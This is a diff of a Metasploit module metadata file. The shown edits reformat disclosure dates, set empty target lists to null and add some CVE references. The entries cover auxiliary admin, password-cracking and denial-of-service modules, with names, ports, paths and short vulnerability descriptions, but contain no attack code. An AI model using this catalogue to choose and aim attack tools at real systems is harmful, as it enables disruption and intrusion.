-4333,7 +4034,7 @@ "name": "TikiWiki Information Disclosure", "full_name": "auxiliary/admin/tikiwiki/tikidblib", "rank": 300, - "disclosure_date": "2006-11-01 00:00:00 -0600", + "disclosure_date": "2006-11-01", "type": "auxiliary", "author": [ "Matteo Cantoni " @@ -4350,9 +4051,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/admin/tikiwiki/tikidblib.rb", "is_install_path": true, @@ -4377,9 +4076,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/upnp/soap_portmapping.rb", "is_install_path": true, @@ -4403,9 +4100,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/vmware/poweroff_vm.rb", "is_install_path": true, @@ -4429,9 +4124,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/vmware/poweron_vm.rb", "is_install_path": true, @@ -4455,9 +4148,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/vmware/tag_vm.rb", "is_install_path": true, @@ -4481,9 +4172,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb", "is_install_path": true, @@ -4493,7 +4182,7 @@ "name": "RealVNC NULL Authentication Mode Bypass", "full_name": "auxiliary/admin/vnc/realvnc_41_bypass", "rank": 300, - "disclosure_date": "2006-05-15 00:00:00 -0500", + "disclosure_date": "2006-05-15", "type": "auxiliary", "author": [ "hdm ", @@ -4511,9 +4200,7 @@ "platform": "", "arch": "", "rport": "5900", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb", "is_install_path": true, @@ -4539,9 +4226,7 @@ "platform": "", "arch": "", "rport": "17185", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb", "is_install_path": true, @@ -4567,9 +4252,7 @@ "platform": "", "arch": "", "rport": "17185", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb", "is_install_path": true, @@ -4595,9 +4278,7 @@ "platform": "", "arch": "", "rport": "17185", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb", "is_install_path": true, @@ -4623,9 +4304,7 @@ "platform": "", "arch": "", "rport": "17185", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb", "is_install_path": true, @@ -4635,7 +4314,7 @@ "name": "Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access", "full_name": "auxiliary/admin/webmin/edit_html_fileaccess", "rank": 300, - "disclosure_date": "2012-09-06 00:00:00 -0500", + "disclosure_date": "2012-09-06", "type": "auxiliary", "author": [ "Unknown", @@ -4654,9 +4333,7 @@ "platform": "", "arch": "", "rport": "10000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb", "is_install_path": true, @@ -4666,7 +4343,7 @@ "name": "Webmin File Disclosure", "full_name": "auxiliary/admin/webmin/file_disclosure", "rank": 300, - "disclosure_date": "2006-06-30 00:00:00 -0500", + "disclosure_date": "2006-06-30", "type": "auxiliary", "author": [ "Matteo Cantoni " @@ -4684,9 +4361,7 @@ "platform": "", "arch": "", "rport": "10000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/webmin/file_disclosure.rb", "is_install_path": true, @@ -4696,7 +4371,7 @@ "name": "Zend Server Java Bridge Design Flaw Remote Code Execution", "full_name": "auxiliary/admin/zend/java_bridge", "rank": 300, - "disclosure_date": "2011-03-28 00:00:00 -0500", + "disclosure_date": "2011-03-28", "type": "auxiliary", "author": [ "ikki", @@ -4713,9 +4388,7 @@ "platform": "", "arch": "", "rport": "10001", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/zend/java_bridge.rb", "is_install_path": true, @@ -4740,9 +4413,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/analyze/jtr_aix.rb", "is_install_path": true, @@ -4766,9 +4437,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/analyze/jtr_crack_fast.rb", "is_install_path": true, @@ -4793,9 +4462,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/analyze/jtr_linux.rb", "is_install_path": true, @@ -4820,9 +4487,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/analyze/jtr_mssql_fast.rb", "is_install_path": true, @@ -4847,9 +4512,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/analyze/jtr_mysql_fast.rb", "is_install_path": true, @@ -4874,9 +4537,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-14 17:36:18 +0000", "path": "/modules/auxiliary/analyze/jtr_oracle_fast.rb", "is_install_path": true, @@ -4900,9 +4561,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/analyze/jtr_postgres_fast.rb", "is_install_path": true, @@ -4928,9 +4587,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/bnat/bnat_router.rb", "is_install_path": true, @@ -4956,9 +4613,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/bnat/bnat_scan.rb", "is_install_path": true, @@ -4982,9 +4637,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-11 18:30:34 +0000", "path": "/modules/auxiliary/client/hwbridge/connect.rb", "is_install_path": true, @@ -5008,9 +4661,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/client/mms/send_mms.rb", "is_install_path": true, @@ -5034,9 +4685,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/client/sms/send_text.rb", "is_install_path": true, @@ -5060,9 +4709,7 @@ "platform": "", "arch": "", "rport": "25", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/client/smtp/emailer.rb", "is_install_path": true, @@ -5086,9 +4733,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/crawler/msfcrawler.rb", "is_install_path": true, @@ -5112,9 +4757,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/docx/word_unc_injector.rb", "is_install_path": true, @@ -5124,7 +4767,7 @@ "name": "Android Stock Browser Iframe DOS", "full_name": "auxiliary/dos/android/android_stock_browser_iframe", "rank": 300, - "disclosure_date": "2012-12-01 00:00:00 -0600", + "disclosure_date": "2012-12-01", "type": "auxiliary", "author": [ "Jean Pascal Pereira", @@ -5140,9 +4783,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/android/android_stock_browser_iframe.rb", "is_install_path": true, @@ -5152,7 +4793,7 @@ "name": "Cisco IOS HTTP GET /%% Request Denial of Service", "full_name": "auxiliary/dos/cisco/ios_http_percentpercent", "rank": 300, - "disclosure_date": "2000-04-26 00:00:00 -0500", + "disclosure_date": "2000-04-26", "type": "auxiliary", "author": [ "aushack " @@ -5168,9 +4809,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb", "is_install_path": true, @@ -5180,7 +4819,7 @@ "name": "Cisco IOS Telnet Denial of Service", "full_name": "auxiliary/dos/cisco/ios_telnet_rocem", "rank": 300, - "disclosure_date": "2017-03-17 00:00:00 -0500", + "disclosure_date": "2017-03-17", "type": "auxiliary", "author": [ "Artem Kondratenko" @@ -5197,9 +4836,7 @@ "platform": "", "arch": "", "rport": "23", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/cisco/ios_telnet_rocem.rb", "is_install_path": true, @@ -5226,9 +4863,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb", "is_install_path": true, @@ -5238,7 +4873,7 @@ "name": "BIND TKEY Query Denial of Service", "full_name": "auxiliary/dos/dns/bind_tkey", "rank": 300, - "disclosure_date": "2015-07-28 00:00:00 -0500", + "disclosure_date": "2015-07-28", "type": "auxiliary", "author": [ "Jonathan Foote", @@ -5256,9 +4891,7 @@ "platform": "", "arch": "", "rport": "53", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/dns/bind_tkey.rb", "is_install_path": true, @@ -5268,7 +4901,7 @@ "name": "BIND TKEY Query Denial of Service", "full_name": "auxiliary/dos/dns/bind_tsig", "rank": 300, - "disclosure_date": "2016-09-27 00:00:00 -0500", + "disclosure_date": "2016-09-27", "type": "auxiliary", "author": [ "Martin Rocha", @@ -5286,9 +4919,7 @@ "platform": "", "arch": "", "rport": "53", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 10:41:10 +0000", "path": "/modules/auxiliary/dos/dns/bind_tsig.rb", "is_install_path": true, @@ -5314,9 +4945,7 @@ "platform": "", "arch": "", "rport": "2049", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb", "is_install_path": true, @@ -5326,7 +4955,7 @@ "name": "HP Data Protector Manager RDS DOS", "full_name": "auxiliary/dos/hp/data_protector_rds", "rank": 300, - "disclosure_date": "2011-01-08 00:00:00 -0600", + "disclosure_date": "2011-01-08", "type": "auxiliary", "author": [ "Roi Mallo ", @@ -5343,9 +4972,7 @@ "platform": "", "arch": "", "rport": "1530", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/hp/data_protector_rds.rb", "is_install_path": true, @@ -5355,7 +4982,7 @@ "name": "3Com SuperStack Switch Denial of Service", "full_name": "auxiliary/dos/http/3com_superstack_switch", "rank": 300, - "disclosure_date": "2004-06-24 00:00:00 -0500", + "disclosure_date": "2004-06-24", "type": "auxiliary", "author": [ "aushack " @@ -5371,9 +4998,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/dos/http/3com_superstack_switch.rb", "is_install_path": true, @@ -5383,7 +5008,7 @@ "name": "Apache Commons FileUpload and Apache Tomcat DoS", "full_name": "auxiliary/dos/http/apache_commons_fileupload_dos", "rank": 300, - "disclosure_date": "2014-02-06 00:00:00 -0600", + "disclosure_date": "2014-02-06", "type": "auxiliary", "author": [ "Unknown", @@ -5400,9 +5025,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb", "is_install_path": true, @@ -5412,7 +5035,7 @@ "name": "Apache mod_isapi Dangling Pointer", "full_name": "auxiliary/dos/http/apache_mod_isapi", "rank": 300, - "disclosure_date": "2010-03-05 00:00:00 -0600", + "disclosure_date": "2010-03-05", "type": "auxiliary", "author": [ "Brett Gervasoni", @@ -5433,9 +5056,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/apache_mod_isapi.rb", "is_install_path": true, @@ -5445,7 +5066,7 @@ "name": "Apache Range Header DoS (Apache Killer)", "full_name": "auxiliary/dos/http/apache_range_dos", "rank": 300, - "disclosure_date": "2011-08-19 00:00:00 -0500", + "disclosure_date": "2011-08-19", "type": "auxiliary", "author": [ "Kingcope", @@ -5464,9 +5085,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/apache_range_dos.rb", "is_install_path": true, @@ -5476,7 +5095,7 @@ "name": "Apache Tomcat Transfer-Encoding Information Disclosure and DoS", "full_name": "auxiliary/dos/http/apache_tomcat_transfer_encoding", "rank": 300, - "disclosure_date": "2010-07-09 00:00:00 -0500", + "disclosure_date": "2010-07-09", "type": "auxiliary", "author": [ "Steve Jones", @@ -5494,9 +5113,7 @@ "platform": "", "arch": "", "rport": "8000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb", "is_install_path": true, @@ -5506,7 +5123,7 @@ "name": "Brother Debut http Denial Of Service", "full_name": "auxiliary/dos/http/brother_debut_dos", "rank": 300, - "disclosure_date": "2017-11-02 00:00:00 -0500", + "disclosure_date": "2017-11-02", "type": "auxiliary", "author": [ "z00n <0xz00n@gmail.com>", @@ -5522,9 +5139,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-01-24 20:54:21 +0000", "path": "/modules/auxiliary/dos/http/brother_debut_dos.rb", "is_install_path": true, @@ -5534,7 +5149,7 @@ "name": "Canon Wireless Printer Denial Of Service", "full_name": "auxiliary/dos/http/canon_wireless_printer", "rank": 300, - "disclosure_date": "2013-06-18 00:00:00 -0500", + "disclosure_date": "2013-06-18", "type": "auxiliary", "author": [ "Matt \"hostess\" Andreko " @@ -5549,9 +5164,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/canon_wireless_printer.rb", "is_install_path": true, @@ -5561,7 +5174,7 @@ "name": "Dell OpenManage POST Request Heap Overflow (win32)", "full_name": "auxiliary/dos/http/dell_openmanage_post", "rank": 300, - "disclosure_date": "2004-02-26 00:00:00 -0600", + "disclosure_date": "2004-02-26", "type": "auxiliary", "author": [ "aushack " @@ -5578,9 +5191,7 @@ "platform": "", "arch": "", "rport": "1311", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/dos/http/dell_openmanage_post.rb", "is_install_path": true, @@ -5606,9 +5217,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb", "is_install_path": true, @@ -5618,7 +5227,7 @@ "name": "Flexense HTTP Server Denial Of Service", "full_name": "auxiliary/dos/http/flexense_http_server_dos", "rank": 300, - "disclosure_date": "2018-03-09 00:00:00 -0600", + "disclosure_date": "2018-03-09", "type": "auxiliary", "author": [ "Ege Balci " @@ -5633,9 +5242,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-29 16:09:27 +0000", "path": "/modules/auxiliary/dos/http/flexense_http_server_dos.rb", "is_install_path": true, @@ -5645,7 +5252,7 @@ "name": "Gzip Memory Bomb Denial Of Service", "full_name": "auxiliary/dos/http/gzip_bomb_dos", "rank": 300, - "disclosure_date": "2004-01-01 00:00:00 -0600", + "disclosure_date": "2004-01-01", "type": "auxiliary", "author": [ "info ", @@ -5660,9 +5267,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/gzip_bomb_dos.rb", "is_install_path": true, @@ -5672,7 +5277,7 @@ "name": "Hashtable Collisions", "full_name": "auxiliary/dos/http/hashcollision_dos", "rank": 300, - "disclosure_date": "2011-12-28 00:00:00 -0600", + "disclosure_date": "2011-12-28", "type": "auxiliary", "author": [ "Alexander Klink", @@ -5699,9 +5304,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/hashcollision_dos.rb", "is_install_path": true, @@ -5711,7 +5314,7 @@ "name": "IBM Notes encodeURI DOS", "full_name": "auxiliary/dos/http/ibm_lotus_notes", "rank": 300, - "disclosure_date": "2017-08-31 00:00:00 -0500", + "disclosure_date": "2017-08-31", "type": "auxiliary", "author": [ "Dhiraj Mishra" @@ -5727,9 +5330,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-09 17:02:24 +0000", "path": "/modules/auxiliary/dos/http/ibm_lotus_notes.rb", "is_install_path": true, @@ -5739,7 +5340,7 @@ "name": "IBM Notes Denial Of Service", "full_name": "auxiliary/dos/http/ibm_lotus_notes2", "rank": 300, - "disclosure_date": "2017-08-31 00:00:00 -0500", + "disclosure_date": "2017-08-31", "type": "auxiliary", "author": [ "Dhiraj Mishra" @@ -5754,9 +5355,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-06 20:45:50 +0000", "path": "/modules/auxiliary/dos/http/ibm_lotus_notes2.rb", "is_install_path": true, @@ -5766,7 +5365,7 @@ "name": "Monkey HTTPD Header Parsing Denial of Service (DoS)", "full_name": "auxiliary/dos/http/monkey_headers", "rank": 300, - "disclosure_date": "2013-05-30 00:00:00 -0500", + "disclosure_date": "2013-05-30", "type": "auxiliary", "author": [ "Doug Prostko " @@ -5782,9 +5381,7 @@ "platform": "", "arch": "", "rport": "2001", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/monkey_headers.rb", "is_install_path": true, @@ -5814,9 +5411,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb", "is_install_path": true, @@ -5826,7 +5421,7 @@ "name": "Node.js HTTP Pipelining Denial of Service", "full_name": "auxiliary/dos/http/nodejs_pipelining", "rank": 300, - "disclosure_date": "2013-10-18 00:00:00 -0500", + "disclosure_date": "2013-10-18", "type": "auxiliary", "author": [ "Marek Majkowski", @@ -5845,9 +5440,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/nodejs_pipelining.rb", "is_install_path": true, @@ -5857,7 +5450,7 @@ "name": "NFR Agent Heap Overflow Vulnerability", "full_name": "auxiliary/dos/http/novell_file_reporter_heap_bof", "rank": 300, - "disclosure_date": "2012-11-16 00:00:00 -0600", + "disclosure_date": "2012-11-16", "type": "auxiliary", "author": [ "juan vazquez " @@ -5872,9 +5465,7 @@ "platform": "", "arch": "", "rport": "3037", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb", "is_install_path": true, @@ -5884,7 +5475,7 @@ "name": "Ruby on Rails Action View MIME Memory Exhaustion", "full_name": "auxiliary/dos/http/rails_action_view", "rank": 300, - "disclosure_date": "2013-12-04 00:00:00 -0600", + "disclosure_date": "2013-12-04", "type": "auxiliary", "author": [ "Toby Hsieh", @@ -5904,9 +5495,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/rails_action_view.rb", "is_install_path": true, @@ -5916,7 +5505,7 @@ "name": "Ruby on Rails JSON Processor Floating Point Heap Overflow DoS", "full_name": "auxiliary/dos/http/rails_json_float_dos", "rank": 300, - "disclosure_date": "2013-11-22 00:00:00 -0600", + "disclosure_date": "2013-11-22", "type": "auxiliary", "author": [ "Charlie Somerville", @@ -5934,9 +5523,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/rails_json_float_dos.rb", "is_install_path": true, @@ -5946,7 +5533,7 @@ "name": "Slowloris Denial of Service Attack", "full_name": "auxiliary/dos/http/slowloris", "rank": 300, - "disclosure_date": "2009-06-17 00:00:00 -0500", + "disclosure_date": "2009-06-17", "type": "auxiliary", "author": [ "RSnake", @@ -5966,9 +5553,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-07 17:06:04 +0000", "path": "/modules/auxiliary/dos/http/slowloris.py", "is_install_path": true, @@ -5978,7 +5563,7 @@ "name": "SonicWALL SSL-VPN Format String Vulnerability", "full_name": "auxiliary/dos/http/sonicwall_ssl_format", "rank": 300, - "disclosure_date": "2009-05-29 00:00:00 -0500", + "disclosure_date": "2009-05-29", "type": "auxiliary", "author": [ "aushack " @@ -5994,9 +5579,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/dos/http/sonicwall_ssl_format.rb", "is_install_path": true, @@ -6014,6 +5597,7 @@ ], "description": "This module exploits a Regular Expression Denial of Service vulnerability\n in the npm module \"ua-parser-js\". Server-side applications that use\n \"ua-parser-js\" for parsing the browser user-agent string will be vulnerable\n if they call the \"getOS\" or \"getResult\" functions. This vulnerability was\n fixed as of version 0.7.16.", "references": [ + "CVE-2017-16086", "URL-https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79", "CWE-400" ], @@ -6022,9 +5606,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/dos/http/ua_parser_js_redos.rb", "is_install_path": true, @@ -6034,7 +5616,7 @@ "name": "WebKitGTK+ WebKitFaviconDatabase DoS", "full_name": "auxiliary/dos/http/webkitplus", "rank": 300, - "disclosure_date": "2018-06-03 00:00:00 +0000", + "disclosure_date": "2018-06-03", "type": "auxiliary", "author": [ "Dhiraj Mishra", @@ -6054,9 +5636,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-14 11:25:00 +0000", "path": "/modules/auxiliary/dos/http/webkitplus.rb", "is_install_path": true, @@ -6066,7 +5646,7 @@ "name": "Ruby WEBrick::HTTP::DefaultFileHandler DoS", "full_name": "auxiliary/dos/http/webrick_regex", "rank": 300, - "disclosure_date": "2008-08-08 00:00:00 -0500", + "disclosure_date": "2008-08-08", "type": "auxiliary", "author": [ "kris katterjohn " @@ -6083,9 +5663,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/webrick_regex.rb", "is_install_path": true, @@ -6112,9 +5690,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb", "is_install_path": true, @@ -6124,7 +5700,7 @@ "name": "WordPress Long Password DoS", "full_name": "auxiliary/dos/http/wordpress_long_password_dos", "rank": 300, - "disclosure_date": "2014-11-20 00:00:00 -0600", + "disclosure_date": "2014-11-20", "type": "auxiliary", "author": [ "Javier Nieto Arevalo", @@ -6133,6 +5709,7 @@ ], "description": "WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x\n before 4.0.1 allows remote attackers to cause a denial of service\n (CPU consumption) via a long password that is improperly handled\n during hashing.", "references": [ + "CVE-2014-9016", "URL-http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034", "OSVDB-114857", "WPVDB-7681" @@ -6142,9 +5719,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/dos/http/wordpress_long_password_dos.rb", "is_install_path": true, @@ -6154,7 +5729,7 @@ "name": "Wordpress XMLRPC DoS", "full_name": "auxiliary/dos/http/wordpress_xmlrpc_dos", "rank": 300, - "disclosure_date": "2014-08-06 00:00:00 -0500", + "disclosure_date": "2014-08-06", "type": "auxiliary", "author": [ "Nir Goldshlager", @@ -6162,6 +5737,7 @@ ], "description": "Wordpress XMLRPC parsing is vulnerable to a XML based denial of service.\n This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are\n also patched).", "references": [ + "CVE-2014-5266", "URL-http://wordpress.org/news/2014/08/wordpress-3-9-2/", "URL-http://www.breaksec.com/?p=6362", "URL-http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/", @@ -6173,9 +5749,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb", "is_install_path": true, @@ -6201,9 +5775,7 @@ "platform": "", "arch": "", "rport": "3000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-11 11:49:31 +0000", "path": "/modules/auxiliary/dos/http/ws_dos.rb", "is_install_path": true, @@ -6213,7 +5785,7 @@ "name": "Avahi Source Port 0 DoS", "full_name": "auxiliary/dos/mdns/avahi_portzero", "rank": 300, - "disclosure_date": "2008-11-14 00:00:00 -0600", + "disclosure_date": "2008-11-14", "type": "auxiliary", "author": [ "kris katterjohn " @@ -6228,9 +5800,7 @@ "platform": "", "arch": "", "rport": "5353", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/mdns/avahi_portzero.rb", "is_install_path": true, @@ -6240,7 +5810,7 @@ "name": "Dopewars Denial of Service", "full_name": "auxiliary/dos/misc/dopewars", "rank": 300, - "disclosure_date": "2009-10-05 00:00:00 -0500", + "disclosure_date": "2009-10-05", "type": "auxiliary", "author": [ "Doug Prostko " @@ -6256,9 +5826,7 @@ "platform": "", "arch": "", "rport": "7902", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/dos/misc/dopewars.rb", "is_install_path": true, @@ -6268,7 +5836,7 @@ "name": "IBM Lotus Sametime WebPlayer DoS", "full_name": "auxiliary/dos/misc/ibm_sametime_webplayer_dos", "rank": 300, - "disclosure_date": "2013-11-07 00:00:00 -0600", + "disclosure_date": "2013-11-07", "type": "auxiliary", "author": [ "Chris John Riley", @@ -6287,9 +5855,7 @@ "platform": "", "arch": "", "rport": "5060", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb", "is_install_path": true, @@ -6299,7 +5865,7 @@ "name": "IBM Tivoli Storage Manager FastBack Server Opcode 0x534 Denial of Service", "full_name": "auxiliary/dos/misc/ibm_tsm_dos", "rank": 300, - "disclosure_date": "2015-12-15 00:00:00 -0600", + "disclosure_date": "2015-12-15", "type": "auxiliary", "author": [ "Gianni Gnesa", @@ -6315,9 +5881,7 @@ "platform": "", "arch": "", "rport": "11460", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/misc/ibm_tsm_dos.rb", "is_install_path": true, @@ -6343,9 +5907,7 @@ "platform": "", "arch": "", "rport": "11211", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/misc/memcached.rb", "is_install_path": true, @@ -6355,7 +5917,7 @@ "name": "NTP.org ntpd Reserved Mode Denial of Service", "full_name": "auxiliary/dos/ntp/ntpd_reserved_dos", "rank": 300, - "disclosure_date": "2009-10-04 00:00:00 -0500", + "disclosure_date": "2009-10-04", "type": "auxiliary", "author": [ "todb " @@ -6372,9 +5934,7 @@ "platform": "", "arch": "", "rport": "", - 